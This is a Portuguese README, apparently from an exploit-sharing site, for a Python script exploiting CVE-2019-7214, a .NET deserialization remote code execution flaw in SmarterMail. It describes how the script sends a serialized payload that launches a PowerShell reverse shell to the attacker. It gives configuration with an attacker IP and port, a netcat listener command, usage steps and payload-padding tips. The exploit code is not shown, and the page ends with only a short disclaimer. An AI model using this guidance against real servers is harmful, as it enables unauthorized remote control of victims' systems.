Windows Reverse Shell Exploit (PowerShell sobre TCP)

Este script Python ataca um serviço vulnerável em execução numa máquina Windows remota. Ele envia um payload .NET serializado que inicia uma reverse shell baseada em PowerShell de volta para a máquina do atacante.

CVE-2019-7214

Execução remota de código na desserialização .NET para o sistema SmarterMail.

⚙️ Configuração

Atualize a secção de configuração do script para corresponder ao seu ambiente:

HOSTNAME = 'hostname'       # Target hostname (resolved via /etc/hosts)
PORT = 9999                 # Target port listening for serialized input
LHOST = '192.168.45.185'    # Attacker IP (listener)
LPORT = 4444                # Attacker listening port

🧪 O Que Ele Faz

• Resolve o hostname do alvo para um endereço IP.
• Constrói um comando de reverse shell em PowerShell.
• Codifica o comando em Base64 no formato UTF-16LE.
• Anexa-o a um blob de payload .NET serializado pré-construído.
• Envia o payload através de uma conexão TCP para o alvo.

🛠 Requisitos

• Python 3.x
• Netcat ou uma ferramenta semelhante a escutar na porta do atacante:
  root@kitploit:~

  nc -lvnp 4444
  

🚀 Utilização

python3 CVE-2019-7214 .py

Se for bem-sucedido, obterá um prompt do PowerShell do alvo no seu listener.

🧼 Notas

• Garanta que o alvo aceita entrada .NET serializada na porta especificada.
• Este script assume que o alvo consegue executar objetos desserializados que contêm funcionalidade System.Management.Automation.
• Tenha cuidado com espaçamento, codificação e tamanho do payload – o comando PowerShell é preenchido até exatamente 1360 bytes para evitar corrupção.

⚠️ Aviso Legal

Este script é fornecido apenas para fins educacionais. A utilização não autorizada contra sistemas que não possui ou para os quais não tem permissão explícita para testar é ilegal e antiética.